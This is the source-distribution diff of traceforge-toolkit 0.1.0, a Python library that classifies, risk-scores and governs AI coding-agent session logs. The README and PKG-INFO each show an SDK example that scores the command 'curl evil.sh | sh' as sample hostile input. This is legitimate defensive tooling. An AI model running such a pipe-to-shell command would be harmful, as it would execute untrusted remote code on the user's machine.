traceforge-toolkit 0.1.0__tar.gz

traceforge_toolkit-0.1.0/.gitignore

@@ -0,0 +1,31 @@
+__pycache__/
+*.pyc
+*.egg-info/
+dist/
+build/
+.pytest_cache/
+.ruff_cache/
+*.egg
+.eggs/
+.coverage
+research/labeling-run.log
+
+# Run artifacts from agent-trace / golden-run harnesses
+*.log
+*.pid
+*.err
+
+# agent-trace harness run artifacts
+*.log
+*.log.err
+*.err
+*.pid
+run-golden*.ps1
+agent-targets.txt
+
+commit_msg.txt
+
+# Docusaurus site (website/ is an independent Node subproject)
+website/node_modules/
+website/build/
+website/.docusaurus/

traceforge_toolkit-0.1.0/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 dfinson
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

traceforge_toolkit-0.1.0/PKG-INFO

@@ -0,0 +1,188 @@
+Metadata-Version: 2.4
+Name: traceforge-toolkit
+Version: 0.1.0
+Summary: Framework-agnostic, CPU-only pipeline that forges AI agent traces into classified, risk-scored, governed output
+Project-URL: Homepage, https://github.com/dfinson/traceforge
+Project-URL: Repository, https://github.com/dfinson/traceforge
+Project-URL: Issues, https://github.com/dfinson/traceforge/issues
+Project-URL: Changelog, https://github.com/dfinson/traceforge/releases
+Author-email: David Finson <davidfinson@microsoft.com>
+License-Expression: MIT
+License-File: LICENSE
+Keywords: agent,ai-agents,coding-agents,governance,llm,observability,risk-scoring,tracing
+Classifier: Development Status :: 4 - Beta
+Classifier: Intended Audience :: Developers
+Classifier: Operating System :: OS Independent
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3 :: Only
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Programming Language :: Python :: 3.13
+Classifier: Topic :: Scientific/Engineering :: Artificial Intelligence
+Classifier: Topic :: Software Development :: Quality Assurance
+Classifier: Typing :: Typed
+Requires-Python: <3.14,>=3.11
+Requires-Dist: alembic>=1.13
+Requires-Dist: click>=8.1
+Requires-Dist: httpx>=0.25
+Requires-Dist: joblib>=1.3
+Requires-Dist: litellm>=1.0
+Requires-Dist: model2vec>=0.8.2
+Requires-Dist: numpy>=1.24
+Requires-Dist: onnxruntime>=1.17
+Requires-Dist: pyarrow>=15
+Requires-Dist: pydantic>=2.0
+Requires-Dist: pyyaml>=6.0
+Requires-Dist: scikit-learn>=1.5
+Requires-Dist: scipy>=1.11
+Requires-Dist: sqlalchemy>=2.0
+Requires-Dist: tokenizers>=0.15
+Requires-Dist: traceforge-title-model>=0.2
+Requires-Dist: tree-sitter-bash>=0.24
+Requires-Dist: tree-sitter-markdown>=0.5
+Requires-Dist: tree-sitter-powershell>=0.24
+Requires-Dist: tree-sitter>=0.24
+Requires-Dist: tzdata>=2024.1; platform_system == 'Windows'
+Requires-Dist: watchdog>=4.0
+Provides-Extra: dev
+Requires-Dist: pytest-asyncio>=0.23; extra == 'dev'
+Requires-Dist: pytest>=8.0; extra == 'dev'
+Requires-Dist: ruff==0.15.20; extra == 'dev'
+Provides-Extra: s3
+Requires-Dist: boto3>=1.28; extra == 's3'
+Description-Content-Type: text/markdown
+
+<div align="center">
+
+<img src="website/static/img/logo-full.png" alt="TraceForge" width="420" />
+
+**Forge raw AI-agent traces into structured, classified, risk-scored, and governance-assessed output.**
+
+[![Lint](https://github.com/dfinson/traceforge/actions/workflows/ci-lint.yml/badge.svg)](https://github.com/dfinson/traceforge/actions/workflows/ci-lint.yml)
+[![Test](https://github.com/dfinson/traceforge/actions/workflows/ci-test.yml/badge.svg)](https://github.com/dfinson/traceforge/actions/workflows/ci-test.yml)
+[![PyPI](https://img.shields.io/badge/PyPI-coming%20soon-FF9921)](https://pypi.org/project/traceforge/)
+[![Python](https://img.shields.io/badge/python-3.11%20|%203.12%20|%203.13-256EF3)](https://github.com/dfinson/traceforge)
+[![License: MIT](https://img.shields.io/badge/license-MIT-7359AE.svg)](LICENSE)
+[![Docs](https://img.shields.io/badge/docs-traceforge-FF9921)](https://dfinson.github.io/traceforge/)
+
+**[📖 Read the full documentation →](https://dfinson.github.io/traceforge/)**
+
+</div>
+
+---
+
+TraceForge is a framework-agnostic Python library that turns the raw session logs of
+AI coding agents into a strongly-typed event stream, classified, risk-scored, and
+governance-assessed in real time. Adding support for a new agent framework requires only a **YAML
+mapping file**: no code.
+
+<p align="center">
+  <picture>
+    <source media="(max-width: 600px)" srcset="website/static/img/pipeline-mobile.svg">
+    <img src="website/static/img/pipeline-desktop.svg" alt="TraceForge pipeline: Source, optional Parser, Adapter, Enricher, Pipeline, and one or more Sinks, with an opt-in Governance branch off the Pipeline." width="860">
+  </picture>
+</p>
+
+## What it does
+
+1. **Sources** transport raw data from files, HTTP endpoints, SSE streams, SQLite databases, or replays.
+2. **Parsers** pre-process non-structured formats (markdown logs, chunked data) into structured dicts.
+3. **Adapters** parse raw input into a common `SessionEvent` type using declarative YAML mappings.
+4. **Enricher** adds metadata: tool pairing, duration, multi-dimensional classification, risk scoring, visibility.
+5. **Pipeline** stamps live structure, phase, activity/step boundaries, titles, then routes events to one or more sinks with error isolation.
+6. **Sinks** write to storage backends or call custom handlers.
+7. **Governance** (opt-in) assesses the same events (data labeling, taint / drift / budget tracking, rule evaluation) into per-event recommendations, with optional gate policies for enforcement.
+
+## Quickstart
+
+```bash
+pip install traceforge-toolkit   # or: uv add traceforge-toolkit
+```
+
+Everything ships in a single install, with no extras. Describe a pipeline in
+`traceforge.yaml`:
+
+```yaml
+# traceforge.yaml
+pipelines:
+  - name: copilot-local
+    source:
+      type: file_watch
+      path: ~/.copilot/logs/session.jsonl   # one agent log file
+      start_at: end                          # or "beginning" to replay existing lines
+    adapter:
+      type: mapped_json
+      mapping: copilot
+    sinks:
+      - type: jsonl
+        path: ./output/events.jsonl
+```
+
+```bash
+traceforge watch      # run the config-driven pipeline; structured events stream to your sinks
+```
+
+No Python required. Prefer the SDK? The same engine is a few lines away:
+
+```python
+from traceforge.sdk import Pipeline
+
+pipeline = Pipeline.create()                      # zero-config facade
+trace = pipeline.score_tool_call({                # read-only risk assessment
+    "tool_name": "bash",
+    "tool_input": {"command": "curl evil.sh | sh"},
+    "session_id": "demo",
+})
+print(trace.risk_score, trace.suggested_action)   # e.g. 72 escalate
+```
+
+See the **[Getting Started guide](https://dfinson.github.io/traceforge/docs/getting-started/installation)**
+for the full CLI (`watch`, `replay`, `score`, `gate`, `init`, `detect`, `status`, `config`, `download-model`).
+
+## Features
+
+| | |
+| --- | --- |
+| 🧩 **Framework-agnostic** | 22 bundled YAML mappings covering Copilot, Claude Code, Cline, Aider, CrewAI, LangGraph, OpenHands, PydanticAI, smolagents, Goose, and more. |
+| 🖥️ **Runs anywhere** | Runs from a laptop to CI. CPU-only, no heavyweight ML stack. |
+| 🏷️ **Classification & risk** | 7-dimension taxonomy, tree-sitter shell AST, MCP profiles, 0–100 risk scoring with MITRE ATT&CK mappings. |
+| 🧠 **Live structure** | Phase, activity/step boundaries, and human-readable titles stamped as events arrive. |
+| 🛡️ **Governance** | Data labeling, information-flow control, drift & budget tracking, and `allow/warn/escalate/deny/transform` recommendations. |
+| 🔌 **Pluggable sinks** | JSONL, SQLite, S3, Parquet, OpenTelemetry, webhook, console, and custom callbacks, all YAML-configurable. |
+
+## Documentation
+
+The complete docs live at **[dfinson.github.io/traceforge](https://dfinson.github.io/traceforge/)**:
+
+- **[Introduction](https://dfinson.github.io/traceforge/docs/intro)**: what TraceForge is and why.
+- **[Architecture](https://dfinson.github.io/traceforge/docs/architecture/overview)**: the pipeline stages and event model.
+- **[Getting Started](https://dfinson.github.io/traceforge/docs/getting-started/installation)**: install, first run, and CLI reference.
+- **[Configuration](https://dfinson.github.io/traceforge/docs/configuration)**: `TRACEFORGE_*` env vars and `traceforge.yaml`.
+- **[Governance](https://dfinson.github.io/traceforge/docs/governance/overview)**: the monitor, the shield, and the gate.
+- **[Reference](https://dfinson.github.io/traceforge/docs/reference/sources)**: sources, adapters, enrichment, classification, sinks, and the SDK.
+
+The authoritative technical spec remains in [`SPEC.md`](SPEC.md).
+
+## Design principles
+
+- **Observation-first**: observes, enriches, and recommends by default; enforcement is strictly opt-in (a registered gate policy).
+- **Framework-agnostic**: new framework support = new YAML file.
+- **Defensive parsing**: malformed input is logged and skipped, never crashes.
+- **Immutable domain objects**: events are frozen models.
+- **Error isolation**: one failing sink cannot block others.
+- **Data-driven**: classification, risk scoring, and MCP profiles are externalized to YAML.
+
+## Contributing
+
+Contributions welcome, see **[CONTRIBUTING.md](CONTRIBUTING.md)** for dev setup with `uv`, running
+the test suite, linting with `ruff`, and how to add a new agent framework mapping.
+
+## Status
+
+🚧 **Under active development**: not yet published to PyPI. The pipeline is feature-complete:
+sources, adapters, enricher, classification, risk scoring, live phase/boundary/title structuring,
+the governance engine, all storage sinks, and the `traceforge` CLI all ship today.
+
+## License
+
+[MIT](LICENSE)

traceforge_toolkit-0.1.0/README.md

@@ -0,0 +1,134 @@
+<div align="center">
+
+<img src="website/static/img/logo-full.png" alt="TraceForge" width="420" />
+
+**Forge raw AI-agent traces into structured, classified, risk-scored, and governance-assessed output.**
+
+[![Lint](https://github.com/dfinson/traceforge/actions/workflows/ci-lint.yml/badge.svg)](https://github.com/dfinson/traceforge/actions/workflows/ci-lint.yml)
+[![Test](https://github.com/dfinson/traceforge/actions/workflows/ci-test.yml/badge.svg)](https://github.com/dfinson/traceforge/actions/workflows/ci-test.yml)
+[![PyPI](https://img.shields.io/badge/PyPI-coming%20soon-FF9921)](https://pypi.org/project/traceforge/)
+[![Python](https://img.shields.io/badge/python-3.11%20|%203.12%20|%203.13-256EF3)](https://github.com/dfinson/traceforge)
+[![License: MIT](https://img.shields.io/badge/license-MIT-7359AE.svg)](LICENSE)
+[![Docs](https://img.shields.io/badge/docs-traceforge-FF9921)](https://dfinson.github.io/traceforge/)
+
+**[📖 Read the full documentation →](https://dfinson.github.io/traceforge/)**
+
+</div>
+
+---
+
+TraceForge is a framework-agnostic Python library that turns the raw session logs of
+AI coding agents into a strongly-typed event stream, classified, risk-scored, and
+governance-assessed in real time. Adding support for a new agent framework requires only a **YAML
+mapping file**: no code.
+
+<p align="center">
+  <picture>
+    <source media="(max-width: 600px)" srcset="website/static/img/pipeline-mobile.svg">
+    <img src="website/static/img/pipeline-desktop.svg" alt="TraceForge pipeline: Source, optional Parser, Adapter, Enricher, Pipeline, and one or more Sinks, with an opt-in Governance branch off the Pipeline." width="860">
+  </picture>
+</p>
+
+## What it does
+
+1. **Sources** transport raw data from files, HTTP endpoints, SSE streams, SQLite databases, or replays.
+2. **Parsers** pre-process non-structured formats (markdown logs, chunked data) into structured dicts.
+3. **Adapters** parse raw input into a common `SessionEvent` type using declarative YAML mappings.
+4. **Enricher** adds metadata: tool pairing, duration, multi-dimensional classification, risk scoring, visibility.
+5. **Pipeline** stamps live structure, phase, activity/step boundaries, titles, then routes events to one or more sinks with error isolation.
+6. **Sinks** write to storage backends or call custom handlers.
+7. **Governance** (opt-in) assesses the same events (data labeling, taint / drift / budget tracking, rule evaluation) into per-event recommendations, with optional gate policies for enforcement.
+
+## Quickstart
+
+```bash
+pip install traceforge-toolkit   # or: uv add traceforge-toolkit
+```
+
+Everything ships in a single install, with no extras. Describe a pipeline in
+`traceforge.yaml`:
+
+```yaml
+# traceforge.yaml
+pipelines:
+  - name: copilot-local
+    source:
+      type: file_watch
+      path: ~/.copilot/logs/session.jsonl   # one agent log file
+      start_at: end                          # or "beginning" to replay existing lines
+    adapter:
+      type: mapped_json
+      mapping: copilot
+    sinks:
+      - type: jsonl
+        path: ./output/events.jsonl
+```
+
+```bash
+traceforge watch      # run the config-driven pipeline; structured events stream to your sinks
+```
+
+No Python required. Prefer the SDK? The same engine is a few lines away:
+
+```python
+from traceforge.sdk import Pipeline
+
+pipeline = Pipeline.create()                      # zero-config facade
+trace = pipeline.score_tool_call({                # read-only risk assessment
+    "tool_name": "bash",
+    "tool_input": {"command": "curl evil.sh | sh"},
+    "session_id": "demo",
+})
+print(trace.risk_score, trace.suggested_action)   # e.g. 72 escalate
+```
+
+See the **[Getting Started guide](https://dfinson.github.io/traceforge/docs/getting-started/installation)**
+for the full CLI (`watch`, `replay`, `score`, `gate`, `init`, `detect`, `status`, `config`, `download-model`).
+
+## Features
+
+| | |
+| --- | --- |
+| 🧩 **Framework-agnostic** | 22 bundled YAML mappings covering Copilot, Claude Code, Cline, Aider, CrewAI, LangGraph, OpenHands, PydanticAI, smolagents, Goose, and more. |
+| 🖥️ **Runs anywhere** | Runs from a laptop to CI. CPU-only, no heavyweight ML stack. |
+| 🏷️ **Classification & risk** | 7-dimension taxonomy, tree-sitter shell AST, MCP profiles, 0–100 risk scoring with MITRE ATT&CK mappings. |
+| 🧠 **Live structure** | Phase, activity/step boundaries, and human-readable titles stamped as events arrive. |
+| 🛡️ **Governance** | Data labeling, information-flow control, drift & budget tracking, and `allow/warn/escalate/deny/transform` recommendations. |
+| 🔌 **Pluggable sinks** | JSONL, SQLite, S3, Parquet, OpenTelemetry, webhook, console, and custom callbacks, all YAML-configurable. |
+
+## Documentation
+
+The complete docs live at **[dfinson.github.io/traceforge](https://dfinson.github.io/traceforge/)**:
+
+- **[Introduction](https://dfinson.github.io/traceforge/docs/intro)**: what TraceForge is and why.
+- **[Architecture](https://dfinson.github.io/traceforge/docs/architecture/overview)**: the pipeline stages and event model.
+- **[Getting Started](https://dfinson.github.io/traceforge/docs/getting-started/installation)**: install, first run, and CLI reference.
+- **[Configuration](https://dfinson.github.io/traceforge/docs/configuration)**: `TRACEFORGE_*` env vars and `traceforge.yaml`.
+- **[Governance](https://dfinson.github.io/traceforge/docs/governance/overview)**: the monitor, the shield, and the gate.
+- **[Reference](https://dfinson.github.io/traceforge/docs/reference/sources)**: sources, adapters, enrichment, classification, sinks, and the SDK.
+
+The authoritative technical spec remains in [`SPEC.md`](SPEC.md).
+
+## Design principles
+
+- **Observation-first**: observes, enriches, and recommends by default; enforcement is strictly opt-in (a registered gate policy).
+- **Framework-agnostic**: new framework support = new YAML file.
+- **Defensive parsing**: malformed input is logged and skipped, never crashes.
+- **Immutable domain objects**: events are frozen models.
+- **Error isolation**: one failing sink cannot block others.
+- **Data-driven**: classification, risk scoring, and MCP profiles are externalized to YAML.
+
+## Contributing
+
+Contributions welcome, see **[CONTRIBUTING.md](CONTRIBUTING.md)** for dev setup with `uv`, running
+the test suite, linting with `ruff`, and how to add a new agent framework mapping.
+
+## Status
+
+🚧 **Under active development**: not yet published to PyPI. The pipeline is feature-complete:
+sources, adapters, enricher, classification, risk scoring, live phase/boundary/title structuring,
+the governance engine, all storage sinks, and the `traceforge` CLI all ship today.
+
+## License
+
+[MIT](LICENSE)

traceforge_toolkit-0.1.0/pyproject.toml

@@ -0,0 +1,154 @@
+[build-system]
+requires = ["hatchling"]
+build-backend = "hatchling.build"
+
+[project]
+name = "traceforge-toolkit"
+version = "0.1.0"
+description = "Framework-agnostic, CPU-only pipeline that forges AI agent traces into classified, risk-scored, governed output"
+readme = "README.md"
+license = "MIT"
+authors = [{ name = "David Finson", email = "davidfinson@microsoft.com" }]
+requires-python = ">=3.11,<3.14"
+keywords = [
+    "agent",
+    "observability",
+    "governance",
+    "ai-agents",
+    "llm",
+    "tracing",
+    "coding-agents",
+    "risk-scoring",
+]
+# NOTE: no legacy "License :: OSI Approved :: MIT License" classifier — the SPDX
+# `license = "MIT"` above emits Metadata 2.4 `License-Expression: MIT` (PEP 639),
+# and hatchling rejects a license expression combined with a license classifier.
+classifiers = [
+    "Development Status :: 4 - Beta",
+    "Intended Audience :: Developers",
+    "Operating System :: OS Independent",
+    "Programming Language :: Python :: 3",
+    "Programming Language :: Python :: 3.11",
+    "Programming Language :: Python :: 3.12",
+    "Programming Language :: Python :: 3.13",
+    "Programming Language :: Python :: 3 :: Only",
+    "Topic :: Software Development :: Quality Assurance",
+    "Topic :: Scientific/Engineering :: Artificial Intelligence",
+    "Typing :: Typed",
+]
+dependencies = [
+    "alembic>=1.13",
+    "click>=8.1",
+    "httpx>=0.25",
+    "joblib>=1.3",
+    "litellm>=1.0",
+    "model2vec>=0.8.2",
+    "numpy>=1.24",
+    "onnxruntime>=1.17",
+    "pyarrow>=15",
+    "pydantic>=2.0",
+    "pyyaml>=6.0",
+    "scikit-learn>=1.5",
+    "scipy>=1.11",
+    "sqlalchemy>=2.0",
+    "tokenizers>=0.15",
+    "traceforge-title-model>=0.2",
+    "tree-sitter>=0.24",
+    "tree-sitter-bash>=0.24",
+    "tree-sitter-markdown>=0.5",
+    "tree-sitter-powershell>=0.24",
+    "tzdata>=2024.1 ; platform_system == 'Windows'",
+    "watchdog>=4.0",
+]
+
+[project.optional-dependencies]
+dev = [
+    "pytest>=8.0",
+    "pytest-asyncio>=0.23",
+    "ruff==0.15.20",  # pinned to match CI (ci-lint.yml); ruff format output is version-sensitive
+]
+s3 = [
+    "boto3>=1.28",
+]
+
+[project.scripts]
+traceforge = "traceforge.cli:main"
+
+[project.urls]
+Homepage = "https://github.com/dfinson/traceforge"
+Repository = "https://github.com/dfinson/traceforge"
+Issues = "https://github.com/dfinson/traceforge/issues"
+Changelog = "https://github.com/dfinson/traceforge/releases"
+
+[tool.pytest.ini_options]
+asyncio_mode = "auto"
+testpaths = ["tests"]
+# Vendored demo repos (tests/fixtures/demo_repos/) carry their own test suites and
+# third-party deps (fastapi, etc.) and must not be collected by traceforge's suite.
+# --strict-markers turns any unregistered marker into an error, so the marker list
+# below is the single source of truth (typos fail fast instead of silently no-op'ing).
+addopts = "--strict-markers --ignore=tests/fixtures/demo_repos"
+markers = [
+    "e2e: end-to-end test that drives real I/O (subprocess CLI, live sources/sinks, gate IPC).",
+    "slow: test that spawns a subprocess or otherwise runs longer than a unit test.",
+    "net: test that uses a local loopback fake network server (never an external host).",
+    "windows_only: test that only applies on Windows; auto-skipped elsewhere.",
+]
+
+[tool.ruff]
+target-version = "py311"
+line-length = 100
+
+[tool.ruff.lint]
+ignore = [
+    "E741",   # ambiguous variable name (used intentionally in comprehensions)
+    "F821",   # undefined name — false positives for string-quoted forward references
+]
+
+[tool.hatch.build.targets.wheel]
+packages = ["src/traceforge"]
+# The titler ONNX weights ship in the separate `traceforge-title-model` package
+# (a hard dependency), NOT in this wheel. Only the tiny non-model data files
+# (boilerplate list, phase/boundary heads) are force-included here.
+artifacts = ["src/traceforge/phase/data/*.joblib", "src/traceforge/phase/data/potion-base-8M/*", "src/traceforge/boundary/data/*.joblib", "src/traceforge/title/data/*.json"]
+
+[tool.hatch.build.targets.sdist]
+# Keep the core sdist lean and safely under PyPI's 100 MiB per-file cap: ship only
+# what's needed to build the wheel. `only-include` (not `include`) is a strict
+# allowlist, so it also drops hatchling's default "every README.md/pyproject.toml
+# in the tree" selection. Excludes packages/ — the titler weights ship as their own
+# `traceforge-title-model` distribution, so bundling them here would add ~95 MB of
+# redundant ONNX and push the sdist past the limit — plus tests/, research/, and
+# docs/ fixtures that a source build of the wheel does not require.
+only-include = [
+    "src/traceforge",
+    "pyproject.toml",
+    "README.md",
+    "LICENSE",
+]
+
+# During development, resolve the model package from the in-repo path so an
+# editable `uv sync` serves the real weights without a PyPI/GitHub round-trip.
+# This source is uv-only and is stripped from the published wheel (the base
+# `traceforge-title-model>=0.2` dependency is what real installs resolve).
+[tool.uv.sources]
+traceforge-title-model = { path = "packages/traceforge-title-model", editable = true }
+
+[dependency-groups]
+dev = [
+    "datamodel-code-generator>=0.63.0",
+    "pytest>=9.0.3",
+    "pytest-asyncio>=1.4.0",
+    "pytest-cov>=5.0",
+    "boto3>=1.28",
+    "moto[s3]>=5.0",
+    "crewai>=0.80",
+    "langchain-core>=0.3",
+    "langgraph>=0.2",
+    "semantic-kernel>=1.20",
+    "smolagents>=1.0",
+    "openai-agents>=0.1",
+    "pydantic-ai-slim>=1.0",
+    "agent-framework-core>=1.0",
+]
+

traceforge_toolkit-0.1.0/src/traceforge/__init__.py

@@ -0,0 +1,72 @@
+"""traceforge — Agent event observation pipeline with pluggable storage backends."""
+
+from traceforge.adapters.base import Adapter, JsonLineAdapter
+from traceforge.adapters.mapped_json import MappedJsonAdapter
+from traceforge.adapters.otel import OtelSpanAdapter
+from traceforge.classify import (
+    ClassificationEngine,
+    Classification,
+    ClassifyConfig,
+    Phase,
+    Visibility,
+    classify_cmd_command,
+    classify_powershell_command,
+    classify_shell,
+    classify_tool,
+    get_default_registry,
+    load_config,
+    normalize_tool_name,
+)
+from traceforge.enricher import Enricher
+from traceforge.parsers.aider import AiderPreParser
+from traceforge.pipeline import EventPipeline
+from traceforge.sinks.base import StorageSink
+from traceforge.sinks.callback import CallbackSink
+from traceforge.trace import EventTrace
+from traceforge.types import (
+    KNOWN_KINDS,
+    EventKind,
+    EventMetadata,
+    IngestionMode,
+    SessionEvent,
+    TelemetrySpan,
+    TitleUpdate,
+    UsageRecord,
+    is_known_kind,
+)
+
+__all__ = [
+    # Adapters
+    "Adapter",
+    "JsonLineAdapter",
+    "MappedJsonAdapter",
+    "AiderPreParser",
+    "OtelSpanAdapter",
+    # Classification
+    "CallbackSink",
+    "Classification",
+    "ClassificationEngine",
+    "ClassifyConfig",
+    "Enricher",
+    "EventKind",
+    "EventMetadata",
+    "EventPipeline",
+    "IngestionMode",
+    "KNOWN_KINDS",
+    "Phase",
+    "SessionEvent",
+    "StorageSink",
+    "TelemetrySpan",
+    "EventTrace",
+    "TitleUpdate",
+    "UsageRecord",
+    "Visibility",
+    "classify_cmd_command",
+    "classify_powershell_command",
+    "classify_shell",
+    "classify_tool",
+    "get_default_registry",
+    "is_known_kind",
+    "load_config",
+    "normalize_tool_name",
+]

traceforge_toolkit-0.1.0/src/traceforge/__main__.py

@@ -0,0 +1,5 @@
+"""Allow `python -m traceforge` to invoke the CLI."""
+
+from traceforge.cli import main
+
+main()